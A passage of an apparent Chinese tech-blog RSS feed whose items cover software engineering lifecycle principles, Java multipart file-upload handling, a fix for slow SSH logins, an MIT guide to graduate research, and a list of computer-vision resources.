      <description>Boehm：运用现代科学技术知识来设计并构造计算机程序及为开发、运行和维护这些程序所必需的相关文件资料。 IEEE：软件工程是开发、运行、维护和修复软件的系统方法。 Fritz Bauer：建立并使用完善的工程化原则，以较经济的手段获得能在实际机器上有效运行的可靠软件的一系列方法。 软件工程学的内容 软件工程学的主要内容是软件开发技术和软件工程管理． 软件开发技术包含软件工程方法学、软件工具和软件开发环境；软件工程管理学包含软件工程经济学和软件管理学。 软件工程基本原理 著名软件工程专家B.Boehm综合有关专家和学者的意见并总结了多年来开发软件的经验，于1983年在一篇论文中提出了软件工程的七条基本原理。 （1）用分阶段的生存周期计划进行严格的管理。 （2）坚持进行阶段评审。 （3）实行严格的产品控制。 （4）采用现代程序设计技术。 （5）软件工程结果应能清楚地审查。 （6）开发小组的人员应该少而精。 （7）承认不断改进软件工程实践的必要性。 B.Boehm指出，遵循前六条基本原理，能够实现软件的工程化生产；按照第七条原理，不仅要积极主动地采纳新的软件技术，而且要注意不断总结经验。 软件工程(SoftWare Engineering)的框架可概括为：目标、过程和原则。 (1)软件工程目标：生产具有正确性、可用性以及开销合宜的产品。正确性指软件产品达到预期功能的程度。可用性指软件基本结构、实现及文档为用户可用的程度。开销合宜是指软件开发、运行的整个开销满足用户要求的程度。这些目标的实现不论在理论上还是在实践中均存在很多待解决的问题，它们形成了对过程、过程模型及工程方法选取的约束。 (2)软件工程过程：生产一个最终能满足需求且达到工程目标的软件产品所需要的步骤。软件工程过程主要包括开发过程、运作过程、维护过程。它们覆盖了需求、设计、实现、确认以及维护等活动。需求活动包括问题分析和需求分析。问题分析获取需求定义，又称软件需求规约。需求分析生成功能规约。设计活动一般包括概要设计和详细设计。概要设计建立整个软件系统结构，包括子系统、模块以及相关层次的说明、每一模块的接口定义。详细设计产生程序员可用的模块说明，包括每一模块中数据结构说明及加工描述。实现活动把设计结果转换为可执行的程序代码。确认活动贯穿于整个开发过程，实现完成后的确认，保证最终产品满足用户的要求。维护活动包括使用过程中的扩充、修改与完善。伴随以上过程，还有管理过程、支持过程、培训过程等。 (3)软件工程的原则是指围绕工程设计、工程支持以及工程管理在软件开发过程中必须遵循的原则。 软件工程必须遵循什么原则 围绕工程设计、工程支持以及工程管理已提出了以下四条基本原则： (1)选取适宜的开发模型 该原则与系统设计有关。在系统设计中，软件需求、硬件需求以及其它因素间是相互制约和影响的，经常需要权衡。因此，必需认识需求定义的易变性，采用适当的开发模型，保证软件产品满足用户的要求。 (2)采用合适的设计方法 在软件设计中，通常需要考虑软件的模块化、抽象与信息隐蔽、局部化、一致性以及适应性等特征。合适的设计方法有助于这些特征的实现，以达到软件工程的目标。 (3)提供高质量的工程支撑 工欲善其事，必先利其器。在软件工程中，软件工具与环境对软件过程的支持颇为重要。软件工程项目的质量与开销直接取决于对软件工程所提供的支撑质量和效用。 (4)重视软件工程的管理 软件工程的管理直接影响可用资源的有效利用，生产满足目标的软件产品以及提高软件组织的生产能力等问题。因此，仅当软件过程予以有效管理时，才能实现有效的软件工程。 软件工程是指导计算机软件开发和维护的工程学科。 采用工程的概念、原理、 技术和方法来开发与维护软件，把经过时间考验而证明正确的管理技术和当前能够 得到的最好的技术方法结合起来，这就是软件工程。 软件工程强调使用生存周期方法学和各种结构分析及结构设计技术。它们是在七十年代为了对付应用软件日益增长的复杂程度、漫长的开发周期以及用户对软件产品经常不满意的状况而发展起来的。人类解决复杂问题时普遍采用的一个策略就是“各个击破”，也就是对问题进行分解然后再分别解决各个子问题的策略。软件工程采用的生存周期方法学就是从时间角度对软件开发和维护的复杂问题进行分解，把软件生存的漫长周期依次划分为若干个阶段，每个阶段有相对独立的任务，然后逐步完成每个阶段的任务。采用软件工程方法论开发软件的时候，从对任务的抽象逻辑分析开始，一个阶段一个阶段地进行开发。前一个阶段任务的完成是开始进行后一个阶段工作的前提和基础，而后一阶段任务的完成通常是使前一阶段提出的解法更进一步具体化，加进了更多的物理细节。每一个阶段的开始和结束都有严格标准，对于任何两个相邻的阶段而言，前一阶段的结束标准就是后一阶段的开始标准。在每一个阶段结束之前都必须进行正式严格的技术审查和管理复审，从技术和管理两方面对这个阶段的开发成果进行检查，通过之后这个阶段才算结束；如果检查通不过，则必须进行必要的返工，并且返工后还要再经过审查。审查的一条主要标准就是每个阶段都应该交出“最新式的”（即和所开发的软件完全一致的）高质量的文档资料，从而保证在软件开发工程结束时有一个完整准确的软件配置交付使用。文档是通信的工具，它们清楚准确地说明了到这个时候为止，关于该项工程已经知道了什么，同时确立了下一步工作的基础。此外，文档也起备忘录的作用，如果文档不完整，那么一定是某些工作忘记做了，在进入生存周期的下一阶段之前，必须补足这些遗漏的细节。在完成生存周期每个阶段的任务时，应该采用适合该阶段任务特点的系统化的技术方法——结构分析或结构设计技术。 把软件生存周期划分成若干个阶段，每个阶段的任务相对独立，而且比较简单，便于不同人员分工协作，从而降低了整个软件开发工程的困难程度；在软件生存周期的每个阶段都采用科学的管理技术和良好的技术方法，而且在每个阶段结束之前都从技术和管理两个角度进行严格的审查，合格之后才开始下一阶段的工作，这就使软件开发工程的全过程以一种有条不紊的方式进行，保证了软件的质量，特别是提高了软件的可维护性。总之，采用软件工程方法论可以大大提高软件开发的成功率，软件开发的生产率也能明显提高。 目前划分软件生存周期阶段的方法有许多种，软件规模、种类、开发方式、开发环境以及开发时使用的方法论都影响软件生存周期阶段的划分。在划分软件生存周期的阶段时应该遵循的一条基本原则就是使各阶段的任务彼此间尽可能相对独立，同一阶段各项任务的性质尽可能相同，从而降低每个阶段任务的复杂程度，简化不同阶段之间的联系，有利于软件开发工程的组织管理。一般说来，软件生存周期由软件定义、软件开发和软件维护三个时期组成，每个时期又进一步划分成若干个阶段。下面的论述主要针对应用软件，对系统软件也基本适用。 软件定义时期的任务是确定软件开发工程必须完成的总目标；确定工程的可行性，导出实现工程目标应该采用的策略及系统必须完成的功能；估计完成该项工程需要的资源和成本，并且制定工程进度表。这个时期的工作通常又称为系统分析，由系统分析员负责完成。软件定义时期通常进一步划分成三个阶段，即问题定义、可行性研究和需求分析。 开发时期具体设计和实现在前一个时期定义的软件，它通常由下述四个阶段组成：总体设计，详细设计，编码和单元测试，综合测试。 维护时期的主要任务是使软件持久地满足用户的需要。具体地说，当软件在使用过程中发现错误时应该加以改正；当环境改变时应该修改软件以适应新的环境；当用户有新要求时应该及时改进软件满足用户的新需要。通常对维护时期不再进一步划分阶段，但是每一次维护活动本质上都是一次压缩和简化了的定义和开发过程。&#xA;下面扼要介绍软件生存周期每个阶段的基本任务和结束标准。 1问题定义 问题定义阶段必须回答的关键问题：“要解决的问题是什么？”如果不知道问题是什么就试图解决这个问题，显然是盲目的，只会白白浪费时间和金钱，最终得出的结果很可能是毫无意义的。尽管确切地定义问题的必要性是十分明显的，但是在实践中它却可能是最容易被忽视的一个步骤。 通过问题定义阶段的工作，系统分析员应该提出关于问题性质、工程目标和规模的书面报告。通过对系统的实际用户和使用部门负责人的访问调查，分析员扼要地写出他对问题的理解，并在用户和使用部门负责人的会议上认真讨论这份书面报告，澄清含糊不精的地方，改正理解不正确的地方，最后得出一份双方都满意的文档。 问题定义阶段是软件生存周期中最简短的阶段，一般只需要一天甚至更少的时间。 2可行性研究 这个阶段要回答的关键问题：“对于上一个阶段所确定的问题有行得通的解决办法吗？”为了回答这个问题，系统分析员需要进行一次大大压缩和简化了的系统分析和设计的过程，也就是在较抽象的高层次上进行的分析和设计的过程。 可行性研究应该比较简短，这个阶段的任务不是具体解决问题，而是研究问题的范围，探索这个问题是否值得去解，是否有可行的解决办法。 在问题定义阶段提出的对工程目标和规模的报告通常比较含糊。可行性研究阶段应该导出系统的高层逻辑模型（通常用数据流图表示），并且在此基础上更准确、更具体地确定工程规模和目标。然后分析员更准确地估计系统的成本和效益，对建议的系统进行仔细的成本／效益分析是这个阶段的主要任务之一。 可行性研究的结果是使用部门负责人做出是否继续进行这项工程的决定的重要依据，一般说来，只有投资可能取得较大效益的那些工程项目才值得继续进行下去。可行性研究以后的那些阶段将需要投入要多的人力物力。及时中止不值得投资的工程项目，可以避免更大的浪费。 3需求分析 这个阶段的任务仍然不是具体地解决问题，而是准确地确定“为了解决这个问题，目标系统必须做什么”，主要是确定目标系统必须具备哪些功能。 用户了解他们所面对的问题，知道必须做什么，但是通常不能完整准确地表达出他们的要求，更不知道怎样利用计算机解决他们的问题；软件开发人员知道怎样使用软件实现人们的要求，但是对特定用户的具体要求并不完全清楚。因此系统分析员在需求分析阶段必须和用户密切配合，充分交流信息，以得出经过用户确认的系统逻辑模型。通常用数据流图、数据字典和简要的算法描述表示系统的逻辑模型。 在需求分析阶段确定的系统逻辑模型是以后设计和实现目标系统的基础，因此必须准确完整地体现用户的要求。系统分析员通常都是计算机软件专家，技术专家一般都喜欢很快着手进行具体设计，然而，一旦分析员开始谈论程序设计的细节，就会脱离用户，使他们不能继续提出他们的要求和建议。较件工程使用的结构分析设计的方法为每个阶段都规定了特定的结束标准，需求分析阶段必须提供完整准确的系统逻辑模型，经过用户确认之后才能进入下一个阶段，这就可以有效地防止和克服急于着手进行具体设计的倾向。 4总体设计 这个阶段必须回答的关键问题是：“概括地说，应该如何解决这个问题？” 首先，应该考虑几种可能的解决方案。列如，目标系统的一些主要功能是用计算机自动完成还是用人工完成；如果使用计算机，那么是使用批处理方式还是人机交互方式；信息存储使用传统的文件系统还是数据库……。通常至少应该考虑下述几类可能的方案： 低成本的解决方案。系统只能完成最必要的工作，不能多做一点额处的工作。 中等成本的解决方案。这样的系统不仅能够很好地完成预定的任务，使用起来很方便，而且可能还具有用户没有具体指定的某些功能和特点。虽然用户没有提出这些具体要求，但是系统分析员根据自己的知识和经验断定，这些附加的能力在实践中将证明是很有价值的。 高成本的“十全十美”的系统。这样的系统具有用户可能希望有的所有功能和特点。 系统分析员应该使用系统流程图或其他工具描述每种可能的系统，估计每种方案的成本和效益，还应该在充分权衡各种方案的利弊的基础上,推荐一个较好的系统 (最佳方案),并且制定实现所推荐的系统的详细计划。如果用户接受分析员推荐的系统，则可以着手完成本阶段的另一项主要工作。 上面的工作确定了解决问题的策略以及目标系统需要哪些程序，但是，怎样设计这些程序呢？结构设计的一条基本原理就是程序应该模块化，也就是一个大程序应该由许多规模适中的模块按合理的层次结构组织而成。总体设计阶段的第二项主要任务就是设计软件的结构，也就是确定程序由哪些模块组成以及模块间的关系。通常用层次图或结构图描绘软件的结构。 5详细设计 总体设计阶段以比较抽象概括的方式提出了解决问题的办法。详细设计阶段的任务就是把解法具体化，也就是回答下面这个关键问题：“应该怎样具体地实现这个系统呢？” 这个阶段的任务还不是编写程序，而是设计出程序的详细规格说明。这种规格说明的作用很类似于其他工程领域中工程师经常使用的工程蓝图，它们应该包含必要的细节，程序员可以根据它们写出实际的程序代码。 通常用HIPO图（层次图加输入／处理／输出图）或PDL语言（过程设计语言）描述详细设计的结果。 6编码和单元测试 这个阶段的关键任务是写出正确的容易理解、容易维护的程序模块。 程序员应该根据目标系统的性质和实际环境，选取一种适当的高级程序设计语言（必要时用汇编语言），把说细设计的结果翻译成用选定的语言书写的程序，并且仔细测试编写出的每一个模块。 7综合测试 这个阶段的关键任务是通过各种类型的测试（及相应的调试）使软件达到预定的要求。 最基本的测试是集成测试和验收测试。所谓集成测试是根据设计的软件结构，把经过单元测试检验的模块按某种选定的策略装配起来，在装配过程中对程序进行必要的测试。所谓验收测试则是按照规格说明书的规定（通常在需求分析阶段确定），由用户（或在用户积极参加下）对目标系统进行验收。 必要时还可以再通过现场测试或平行运行等方法对目标系统进一步测试检验。 为了使用户能够积极参加验收测试，并且在系统投入生产性运行以后能够正确有效地使用这个系统，通常需要以正式的或非正式的方式对用户进行培训。 通过对软件测试结果的分析可以预测软件的可靠性；反之，根据对软件可靠性的要求也可以决定测试和调试过程什么时候可以结束。 应该用正式的文档资料把测试计划、详细测试方案以及实际测试结果保存下来，做为软件配置的一个组成成分。 8软件维护 维护阶段的关键任务是，通过各种必要的维护活动使系统持久地满足用户的需要。 通常有四类维护活动：改正性维护，也就是诊断和改正在使用过程中发现的软件错误；适应性维护，即修改软件以适应环境的变化；完善性维护，即根据用户的要求改进或扩充软件使它更完善；预防性维护，即修改软件为将来的维护活动预先做准备。 虽然没有把维护阶段进一步划分成更小的阶段，但是实际上每一项维护活动都应该经过提出维护要求（或报告问题），分析维护要求，提出维护要求，提出维护方案，审批维护方案，确定维护计划，修改软件设计，修改程序，测试程序，复查验收等一系列步骤，因此实质上是经历了一次压缩和简化了的软件定义和开发的全过程。 都应该经过提出维护要求（或报告问题），分析维护要求，提出维护要求，提出维护方案，审批维护方案，确定维护计划，修改软件设计，修改程序，测试程序，复查验收等一系列步骤，因此实质上是经历了一次压缩和简化了的软件定义和开发的全过程。</description>
    </item>
    <item>
      <title>Java web中，当表单含有文件上传时，提交数据的如何读取</title>
      <link>https://bchobby.github.io/posts/06482354b7078c274cad946b4ee52b0f/</link>
      <pubDate>Sun, 06 Nov 2011 14:13:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/06482354b7078c274cad946b4ee52b0f/</guid>
      <description>当提交表单里包含文件上传的时候，即Form的enctype属性值为multipart/form-data时，后台是无法像普通表单那样通过request.getParameter来获取用户提交的数据的。&#xA;这时候，当然可以通过解析提交到服务器的数据流来得到数据了，但是这样不但麻烦而且容易出错。&#xA;最好的方式是使用第三方的jar包获取数据，这方面有很多现成的成熟优秀的jar包。最常用的时以下三个：&#xA;apache的commons-fileupload ： http://commons.apache.org/fileupload/&#xA;O&#39;Reilly的cos： http://www.servlets.com/cos/index.html&#xA;jspsmart的SmartUpload：官方不提供下载了，google搜吧。&#xA;其中，据评测效率最高的是COS，最慢的是SmartUpload；最常用的是common-upload；文件太大时SmartUpland会崩溃。&#xA;1. common-upload示例代码：&#xA;view plain copy to clipboard print ? // 判断enctype属性是否为multipart/form-data boolean isMultipart = ServletFileUpload.isMultipartContent(request); // Create a factory for disk-based file items DiskFileItemFactory factory = new DiskFileItemFactory(); // 当上传文件太大时，因为虚拟机能使用的内存是有限的，所以此时要通过临时文件来实现上传文件的保存 // 此方法是设置是否使用临时文件的临界值（单位：字节） factory.setSizeThreshold(yourMaxMemorySize); // 与上一个结合使用，设置临时文件的路径（绝对路径） factory.setRepository(yourTempDirectory); // Create a new file upload handler ServletFileUpload upload = new ServletFileUpload(factory); // 设置上传内容的大小限制（单位：字节） upload.setSizeMax(yourMaxRequestSize); // Parse the request List&amp;lt;?&amp;gt; items = upload.parseRequest(request); Iterator iter = items.</description>
    </item>
    <item>
      <title>SSH 登录太慢的解决方法</title>
      <link>https://bchobby.github.io/posts/fb0c66d4790c4240f39d00667aac5c98/</link>
      <pubDate>Sat, 05 Nov 2011 07:30:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fb0c66d4790c4240f39d00667aac5c98/</guid>
      <description>2019独角兽企业重金招聘Python工程师标准&amp;gt;&amp;gt;&amp;gt; SSH 登录太慢可能是 DNS 解析的问题，默认配置下 sshd 初次接受 ssh 客户端连接的时候会自动反向解析客户端 IP 以得到 ssh 客户端的域名或主机名。如果这个时候 DNS 的反向解析不正确，sshd 就会等到 DNS 解析超时后才提供 ssh 连接，这样就造成连接时间过长、ssh 客户端等待的情况，一般为10-30秒左右。有个简单的解决办法就是在 sshd 的配置文件（sshd_config）里取消 sshd 的反向 DNS 解析。&#xA;# vi /etc/ssh/sshd_config&#xA;找到UseDNS，修改为no&#xA;UseDNS no&#xA;重启SSH服务&#xA;# /etc/init.d/sshd restart&#xA;转载于:https://my.oschina.net/u/187928/blog/34601</description>
    </item>
    <item>
      <title>麻省理工学院(MIT)研究生学习指导怎样做研究生</title>
      <link>https://bchobby.github.io/posts/1c34132316e40d370d6429e63e14ba14/</link>
      <pubDate>Sat, 29 Oct 2011 21:58:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1c34132316e40d370d6429e63e14ba14/</guid>
      <description>本文的主旨是解释如何做研究。我们提供的这些建议，对于研究本身（阅读、写作和程序设计）、理解研究过程以及开始研究（方法论、选题、选导师和情感因素），都是极具价值的。&#xA;1. 简介&#xA;这是什么？&#xA;并没有什么神丹妙药可以保证在研究中取得成功，本文只是列举了一些可能会对研究有所帮助的非正式意见。&#xA;目标读者是谁？&#xA;本文主要是为新入学的研究生而写。&#xA;如何使用？&#xA;要精读完本文，太长了一些，最好是采用浏览的方式。很多人觉得下面的方法很有效：先快速通读一遍，然后选取其中与自己当前研究项目有关的部分仔细研究。&#xA;本文被粗略地分为两部分。第一部分涉及研究者所需具备的各种技能：如阅读，写作和程序设计等等。第二部分讨论研究过程本身：即研究究竟是怎么回事，如何做研究，如何选题和选导师，如何考虑研究中的情感因素。很多读者反映，从长远看，第二部分比第一部分更有价值，也更让人感兴趣。&#xA;本文的主要内容包括：&#xA;一、掌握一些阅读的诀窍。&#xA;二、如何成为研究领域的一员：与相关人员保持联系，他们可以使你保持对研究前沿的跟踪，知道应该读什么材料。&#xA;三、学习相关领域的知识：对几个领域都有基本的理解，对于一个或者两个领域要精通。&#xA;四、如何做研究笔记。&#xA;五、如何写期刊论文和毕业论文。如何为草稿写评审意见，如何利用别人的评审意见。如何发表论文。&#xA;六、如何做研究报告及演讲。&#xA;七、掌握和自己相关领域的程序设计。&#xA;八、有关研究生涯最重要的问题，如何选导师。不同的导师具有不同的风格，导师是你必须了解如何利用的资源。&#xA;九、关于毕业论文。毕业论文将占据研究生生涯的大部分时间，本部分涉及如何选题，以及如何避免浪费时间。&#xA;十、研究方法论。&#xA;十一、或许是最重要的一节：涉及研究过程中的情感因素，包括如何面对失败，如何设定目标，如何避免不安全感，保持自信，享受快乐。&#xA;一、阅读&#xA;很多研究人员花一半的时间阅读文献，可以很快地从别人的工作中学到很多东西。阅读文献，始于今日。一旦你开始写作论文，就没有多少时间了，那时的阅读主要集中于论文主题相关的文献。在研究生的头两年，大部分的时间要用于做课程作业和打基础。此时，阅读课本和出版的期刊文章就可以了。&#xA;在自己研究领域打下坚实的基础所需要的阅读量，是令人望而止步的。&#xA;一个有用的小技巧是：首先找出那些最本质的论文。此时可以参考一些有用的书目：例如研究生课程表，其他学校（主要是斯坦福大学）研究生录取程序的建议阅读列表，这些可以让你有一些初步的印象。如果你对自己研究的某个子领域感兴趣，向该领域的高年级研究生请教本领域最重要的十篇论文是什么，如果可以，借过来复印。&#xA;回顾最近几年的出版物，将那些非常感兴趣的复制下来。这不仅是由于其中很多都是意义重大的论文，对于了解实验室成员的工作进展也是很重要的。每年都应该去所在学校的计算机科学图书馆，翻阅其他院校出版的和自己相关领域技术报告，并选出自己感兴趣的仔细加以阅读。&#xA;阅读论文是需要练习的技能。不可能完整地阅读所有的论文。阅读论文可分为三个阶段：第一阶段是：看论文中是否有感兴趣的东西。论文可能含有摘要，其中可能有内容的介绍，但是也有可能没有或者总结得不好，因此需要你跳读，这看一点那看一点，了解作者究竟做了些什么。内容目录（the table of contents）、结论部分（conclusion）和简介（introduction）是三个重点。如果这些方法都不行，就只好顺序快速浏览了。一旦搞清楚了论文的大概和创新点，就可以决定是否需要进行第二阶段了。&#xA;在第二阶段，要找出论文真正具有内容的部分。很多15页的论文可以重写为一页左右的篇幅；因此需要你寻找那些真正激动人心的地方，这经常隐藏于某个地方。论文作者从其工作中所发现的感兴趣的地方，未必是你感兴趣的，反之亦然。最后，如果觉得该论文确实有价值，返回去通篇精读。读论文时要牢记一个问题，“我应该如何利用该论文？”“真的像作者宣称的那样么？”“如果..会发生什么？”。理解论文得到了什么结论并不等同于理解了该论文。理解论文，就要了解论文的目的，作者所作的选择（很多都是隐含的），假设和形式化是否可行，论文指出了怎样的方向，论文所涉及领域都有哪些问题，作者的研究中持续出现的难点模式是什么，论文所表达的策略观点是什么，诸如此类。将阅读与程序设计联系在一起是很有帮助的。如果读者对某个领域感兴趣，在阅读了一些论文后，试试实现论文中所描述程序的“玩具”版本。这无疑会加深理解。要知道，其他的机构具有不同的思考问题的方式，值得去阅读，严肃对待，并引用它们的工作，即使你认为自己明晓他们的错误所在。&#xA;在第三阶段，经常会有人递给你一本书或者一篇论文并告诉你应该读读，因为其中有闪光的地方或可以应用到你的研究工作中。但等你阅读完了，你发现没什么特别闪光的地方，仅仅是勉强可用而已。于是，困惑就来了，“我哪不对啊？我漏掉什么了吗？”实际上，这是因为你的朋友在阅读书或论文时，在头脑中早已形成的一些想法的催化下，看出了其中对你的研究课题有价值的地方。&#xA;二、建立关系&#xA;研究生一两年后，对自己准备从事的子领域已经有了一些想法。一般而言，引导所在领域潮流的工作最终会变成正式发表的论文，但至少在领域高手（领先者）完全明白一年之后，也就是说，高手的工作至少领先一年。&#xA;高 手是如何发现新思路的？可能是来自某次会议，也可能来自于与别人的交流。下面是从新思路产生到发表的一般流程。Jo Cool有了一个好想法，她将尚不完整的实现与其他一些工作融合在一起，写了一份草稿论文。她想知道这个想法究竟怎么样，因此她将论文的拷贝发送给十位朋友并请他们进行评论。朋友们觉得这个想法很棒，同时也指出了其中的错误之处，然后这些朋友又把论文拷贝给他们各自的一些朋友，如此继续。几个月后，Jo对之进行了大量修订，并送交给AAAI(the Association for the Advancement of Artificial Intelligence)。六个月后，该论文以五页的篇幅正式发表（这是AAAI会议录允许的最大篇幅）。最后Jo开始整理相关的程序，并写了一个更长的论文（基于在AAAI发表论文得到的反馈），然后送交给某某期刊。某某刊要花大约两年的时间，包括对论文进行评审，作者对论文修改所花费的时间，以及相应的出版延迟。因此，理想情况下，Jo的思想最终发表在期刊上需要大约三年时间。所以潮人很少能从本领域出版的期刊文章中学到什么东西，来得太迟了。&#xA;你，也可以成为一个高手。下面是建立学术关系网的一些诀窍：有很多讨论某个自己研究的子领域（如机器视觉）的邮件列表，选择自己感兴趣的列表加入。当与很熟悉本领域的人讨论自己的思想时，他们很可能不直接评价你的想法，而是说：“你读过某某吗？”这并不是一个设问，而是建议你去阅读某份文献，它很可能与你的想法有关。如果你还没有读过该文献，从跟你交谈的高手那里得到该文献的详细信息，或者直接从他那里借一份拷贝下来。当你读到某份让你感到很兴奋的论文，复印五份送交给对之感兴趣的其他五个人，他们可能会反馈回来很好的建议。&#xA;有的实验室每星期或每两星期聚会一次，对大家阅读完的论文进行讨论。有些人并不介意别人去翻看他们的书桌，也就是说，去翻阅他们堆在书桌上的不久要阅读或者经常翻阅的论文。你可以去翻翻看，有没有自己感兴趣的。当然了，首先要得到主人的许可，要知道有些人确实反感别人翻自己的东西。去试试那些平易近人的人。同样，有些人也并不介意你翻看他们的文件柜。实验室中可是有很多学问精深的人，他们的文件柜里也是有好多宝贝。与利用学校图书馆相比，这通常是更快更可靠的寻找论文的方式。把自己写出的草稿的拷贝分发给那些可能感兴趣的人（这也有一个潜在的问题：虽然所在领域的剽窃很少，但也确实有。你可以在第一页写上 “请不要影印或者引用”的字样以做部分防范）。大部分人不会阅读自己收到的大部分论文，因此如果只有少数人返回评论给你，也不用太在意。你可以如此反复几次——这是期刊论文所必需的。注意，除了自己的导师，一般很少将两次以上的草稿送给同一个人。&#xA;当你写完一篇论文后，将论文的拷贝送给那些可能感兴趣的人。别以为人家自然而然地就会去阅读发表论文的期刊或者会议录。如果是内部的出版物（备忘录和技术报告）就更不容易读到了。&#xA;你保持联系的人越是各式各样，效果就越好。尝试与不同研究组、实验室人员、不同学术领域的人交换论文，使自己成为没有联系的两个科研组交流的桥梁，这样，很快的，你的桌子上就会冒出一大摞相关的论文。&#xA;如果某篇论文引用了自己感兴趣的某些东西，做好笔记。维护一份自己感兴趣参考文献的日志。到图书馆去看看能不能找到这些论文。如果要了解某个主题的发展轨迹，可以有意地去做一张引用的“参考文献”图。所谓的参考文献图，是指引用文献组成的网：论文A引用B和C，B引用C和D，C引用D，等等。注意那些被经常引用的论文，这通常是值得阅读的。参考文献图有奇妙的性质，由于经常研究同一主题的研究组可能相互并不了解，当你搜索该图时，会突然发现进入另一部分的方式，这通常出现于不同学校或者采用不同方法的研究组。尽可能了解多种方法是很有价值的，这比非常深入的了解某一种方法更好。&#xA;跟别人交谈，告诉他们你在做什么，并询问人家在做什么。（如果你对与别的学生讨论自己的想法感到害羞，也要坚持交谈，即使自己没有什么想法，与他们讨论自己认为确实优秀的论文。这将很自然地引导到下一步做什么的讨论。）当然也可以参加一些非正式的讨论会，比如在午餐时。&#xA;从某个时间开始，你将会开始参加学术会议。如果你确实参加了，你会发现一个事实，几乎所有的会议论文都令人生厌或者愚蠢透顶（这其中的理由很有意思，但与本文无关，不做讨论）。那还去参加会议干吗？主要是为了结识实验室之外的人。外面的人会传播有关你的工作的新闻，邀请你作报告，告知你某地的学术风气和研究者的特点，把你介绍给其他人，帮助你找到一份暑期工作，获得到别的实验室工作的机会，诸如此类。如何与别人结识呢？如果觉得某人的论文有价值，就跑上去，说：“我非常欣赏您的论文”，并提问一个问题。这样你会结识另外一群人，或许还会学到另外一种看待事物的方式。可以去问高年级同学如何获取这样的机会，他们或许已经在你想去的地方工作过了，能帮你联系。&#xA;三、学习其他领域&#xA;通常的情况，你只能做自己研究领域的事情，对自己研究领域之外的事情一无所知，好像有些人现在也仍然这么认为。但是，现在要求好的研究者对几个相关的领域都了解颇深。计算的可行性本身并没有对什么是智能提供足够的约束，其他的领域给出了其他形式的约束，例如心理学获得的经验数据。更重要的是，其他的研究领域给了你思考的新工具，看待智能的新方法。学习其他领域的另外一个原因是自己研究的领域本身并没有评价研究价值的标准，全是借自于其他领域。数学将定理作为进展；工程会问某个对象是否工作可靠；心理学要求可重复的试验；哲学有严格的思辨；等等。所有这些标准有时都在自己研究领域中起作用，熟悉这些标准有助于你评价他人的工作，深入自己的工作以及保护自己的工作。&#xA;下面是如何学习自己所知甚少领域的一些方法：&#xA;选修一门研究生课程，这很牢靠，但通常不是最有效的方法。&#xA;阅读课本。这方法还算不错，不过课本的知识经常是过时的，一般还有很高比例的与内容无关的修辞。&#xA;找出该领域最棒的期刊是什么，向该领域的高人请教。然后找出最近几年值得阅读的文章，并跟踪相关参考文献。这是最快的感受该领域的方法，但有时候你也许会有错误的理解。&#xA;找出该领域最著名的学者，阅读他们所著的书籍。&#xA;跟该领域的研究生泡在一起。&#xA;参看外校研究该领域的系的课程表。拜访那里的研究生院办公室，挑选有用的文献。&#xA;下面是一些需要了解的我们研究领域相关的科目（可能与我们的研究方向有出入，供大家参考）：&#xA;计算机科学是我们所使用的技术。你需要选修的初级研究生课程肯定不能让你对计算机科学有足够的了解，因此你必须通过阅读学习更多的知识。计算机科学所有的领域——理论体系结构，系统，语言等等——都是必须学习的。&#xA;数学可能是接下来需要了解的最重要的学科。对于工作在视觉或者医学图像处理的人来说更关键。对于以系统为中心的工作，表面上看，并不相关，但数学会教你有用的思维方式。你需要能阅读定理，如果具有证明定理的能力将会给本领域的大多数人留下深刻的印象。很少有人能自学数学，光做个听众是不够的，还得做习题集。尽可能早地选修尽可能多的数学课，其他领域的课程以后选也很容易。计算机科学是以离散数学为基础的：代数，图论，等等。如果你要从事推理方面的工作，逻辑是很重要的。逻辑是认识思维的主流方法。所以你必须具备足够的逻辑知识，这样你才能保护自己的观点。&#xA;每一个人都需要知道认知心理学的某些知识。如果你想做有关学习的工作，那么发展心理学是很重要的。发展心理学从一般意义上讲也是很有用的，它能告诉你对于人类来说，哪些事情难哪些容易。它还给出了有关认知体系结构的认知模型。例如，有关儿童语言学习的工作就对语言处理理论施加了坚实的约束。&#xA;心理学中更“软”的部分，例如心理分析和社会心理学，对自己研究领域的影响看似很小，但具有潜在的重大意义。它们会给你非常不同的理解人是什么的方式。像社会学和人类学这样的社会科学可以起相似的作用。具有多种观点是很有用的。上述学科你有可能需要自学，不幸的是，很难区分出这些领域哪些是优秀的成果哪些是垃圾。&#xA;物理学对于我们某些研究领域也具有极大的影响。&#xA;哲学是某些研究领域看不见的框架。哲学也能帮助你运用或者读懂很多自己研究领域论文中用到的观点。有关思维和语言的哲学与自己研究领域更相关。哲学存在着多种学派，从比较大的范围来分，哲学可分为分析哲学和大陆哲学。大陆哲学则对我们习以为常的很多东西有非常不同的看待方式。</description>
    </item>
    <item>
      <title>计算机视觉文献与代码资源及资料</title>
      <link>https://bchobby.github.io/posts/ab4bb5a3a489a0598baf82936582dac4/</link>
      <pubDate>Sat, 29 Oct 2011 21:57:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ab4bb5a3a489a0598baf82936582dac4/</guid>
      <description>下面是前端时间搜集整理的一些和计算机视觉、模式识别的资源，拿出来与大家分享下。 标题&#xA;作者&#xA;主题&#xA;关键字&#xA;类别&#xA;来源&#xA;备注&#xA;nipsfast.ppt&#xA;Nando de Freitas&#xA;N-Body problems in learning&#xA;Fast N-Body Learning&#xA;Ppt&#xA;http://www.cs.ubc.ca/~nando/nipsfast/schedule.html&#xA;nipsfgtf.ppt&#xA;Ramani Duraiswami&#xA;Fast Multipole Methods Fast Gaussian Transform&#xA;FM and FGT&#xA;ppt&#xA;http://www.cs.ubc.ca/~nando/nipsfast/schedule.html&#xA;Gray.pdf/ppt&#xA;Alex Gray&#xA;Statistical N-Body/Proximity Data Structures&#xA;N-Body and Data Structures&#xA;Ppt/pdf&#xA;http://www.cs.ubc.ca/~nando/nipsfast/schedule.html&#xA;dt-nips04.pdf/ppt&#xA;Dan Huttenlocher&#xA;Fast Distance Transforms&#xA;FDT&#xA;Ppt/pdf&#xA;http://www.cs.ubc.ca/~nando/nipsfast/schedule.html&#xA;High.pdf/ppt&#xA;Alexander Gray&#xA;Fast high-dimensional function integration&#xA;Fast integration&#xA;Ppt/pdf&#xA;http://www.cs.ubc.ca/~nando/nipsfast/schedule.html&#xA;Fast04.pdf/ppt</description>
    </item>
    <item>
      <title>matlab中图像函数4</title>
      <link>https://bchobby.github.io/posts/1769159c24347fc832f8829ab15b2be9/</link>
